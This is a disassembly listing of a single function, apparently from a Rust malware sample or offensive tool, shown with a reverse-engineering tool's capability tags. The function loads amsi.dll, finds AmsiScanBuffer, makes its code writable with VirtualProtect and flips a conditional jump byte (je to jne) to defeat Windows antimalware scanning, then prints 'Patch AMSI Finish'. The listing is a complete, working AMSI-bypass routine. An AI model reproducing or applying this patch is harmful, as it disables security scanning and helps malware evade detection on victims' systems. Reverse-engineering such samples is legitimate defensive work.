Function at 0x140098b76
Capabilities:
Allocate or change rwx memory
Check for software breakpoints

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x90
lea rdx, str.AmsiScanBuffersrc_amsipatch.rs
lea rsi, [rsp + 0x30]
mov r8d, 0xe
mov rcx, rsi
call fcn.14003f110
movabs rax, 0x8000000000000000
cmp qword [rsi], rax
jne 0x140098c9e
mov rdi, qword [rsp + 0x38]
lea rcx, str.AMSI
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140098cd2
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140098d24
mov rdi, rax
mov al, byte [rax]
dec rdi
mov edx, eax
mov rcx, rdi
mov al, byte [rdi + 2]
inc rdi
cmp dl, 0xc3
jne 0x140098be5
cmp al, 0xcc
jne 0x140098be5
cmp byte [rcx + 3], 0xcc
jne 0x140098be5
jmp 0x140098c04
dec rdi
cmp byte [rdi], 0x74
jne 0x140098c01
movzx eax, byte [rdi + 1]
cmp byte [rdi + rax + 2], 0xb8
jne 0x140098c01
lea r9, [rsp + 0x2c]
mov dword [r9], 0
mov ebx, 1
mov edx, 1
mov rcx, rdi
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140098d3c
mov byte [rdi], 0x75
lea r9, [rsp + 0x2c]
mov r8d, dword [r9]
mov ebx, 1
mov edx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140098da3
lea rax, str.___Patch_AMSI_Finish__n
lea rcx, [rsp + 0x60]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.140180d10
nop
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
lea r8, [rsp + 0x60]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, [0x140240778]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valueC:Usersdiddy.cargo_registry_srcindex.crates.io_6f17d22bba15001fzopfli_0.8.1_srccache.rs
lea r9, [0x140240340]
jmp 0x140098d1a
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
mov eax, 0x535f4f4b
cmovne eax, ecx
lea r8, [rsp + 0x60]
mov qword [r8], 0
mov dword [r8 + 8], eax
lea rax, [0x140240798]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valueC:Usersdiddy.cargo_registry_srcindex.crates.io_6f17d22bba15001fzopfli_0.8.1_srccache.rs
lea r9, [0x140240300]
mov edx, 0x2b
call fcn.1402320b0
lea rcx, str.____GetProcAddress_Failed
lea r8, [0x1402407d0]
mov edx, 0x19
call fcn.1402321d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
mov eax, 0x535f4f4b
cmovne eax, ecx
xor edx, edx
lea rcx, [rsp + 0x50]
mov qword [rcx], rdx
mov dword [rcx + 8], eax
mov qword [rsp + 0x30], rcx
lea rax, case.0x140137cc1.1905
mov qword [rsp + 0x38], rax
lea rax, str.____VirtualProtect_Failed_With_Error:
lea rcx, [rsp + 0x60]
mov qword [rcx], rax
mov qword [rcx + 8], rbx
mov qword [rcx + 0x20], rdx
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], rbx
lea rdx, [0x140240848]
call fcn.140231c40
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
mov eax, 0x535f4f4b
cmovne eax, ecx
xor edx, edx
lea rcx, [rsp + 0x50]
mov qword [rcx], rdx
mov dword [rcx + 8], eax
mov qword [rsp + 0x30], rcx
lea rax, case.0x140137cc1.1905
mov qword [rsp + 0x38], rax
lea rax, str.____VirtualProtect_Failed_With_Error:
lea rcx, [rsp + 0x60]
mov qword [rcx], rax
mov qword [rcx + 8], rbx
mov qword [rcx + 0x20], rdx
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], rbx
lea rdx, str.f_a__
call fcn.140231c40
int3